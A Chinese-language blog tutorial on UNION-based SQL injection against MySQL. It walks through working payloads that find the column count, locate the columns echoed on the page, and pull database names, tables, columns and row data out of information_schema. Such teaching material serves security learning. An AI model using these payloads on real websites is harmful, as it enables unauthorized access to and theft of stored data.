union联合查询注入

Posted by Tattoo on 2019-01-05
Estimated Reading Time 2 Minutes
Words 694 In Total
Viewed Times

UNION介绍

  • UNION 操作符
      UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列,即UNION前后的SELECT语句列数相同。列也必须拥有相似的数据类型。同时,每条SELECT语句中列的顺序必须相同。
      默认情况,UNION操作符选取不同的值。如果允许重复的值,须使用UNION ALL

  • union all 和 union 区别
      union all是直接连接,取到得是所有值,记录可能有重复
      union 是取唯一值,记录没有重复

UNION注入方法

  • UNION注入应用场景
      1.只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
      2.注入点页面有回显
      3.只有最后一个SELECT子句允许有ORDER BY(即ORDER BY后面不能再接SELECT语句)
      4.只有最后一个SELECT子句允许有LIMIT(即LIMIT后面不能再接SELECT语句)

  • UNION注入过程

1.order by 确定列数,猜解出的列数超过数据库表的列数会报错

1
id=1' order by 4--+


看到错误Unknown column ‘4’ in ‘order clause’,说明没有第四列

1
id=1' order by 3--+


确定字段数为3

2.观察页面回显,找到可显示数据的位置

1
id=1' union select 1,2,3--+


可以看到页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面,可以通过设置参数ID的值,让服务端返回union select的结果。例如,把ID的值设置为-1,这样数据库中没有id=-1的数据,就会返回union select的结果。

1
id=-1' union select 1,2,3--+


看到回显的位置2和3,接下来就可以在2和3的位置输入MySQL语句,进行SQL注入

3.获取数据库信息

1
id=-1' union select 1,user(),database()--+


查询当前数据库用户和数据库名

1
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

4.获取表信息

1
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=库名 --+

5.获取字段信息

1
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=表名 --+

6.获取数据

1
id=-1' union select 1,2,concat_ws(0x7e,col1,col2) from 库名.表名 --+


查询表中两个字段的值,用~号连接两个值

为什么要猜解字段数?
只有拥有相同数量的列,才会返回两个合并的结果集。

总结

  union注入攻击是SQL Injection里面最基础也是最简单的一种,要掌握后面更深层次的注入,必须把基础夯实。


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !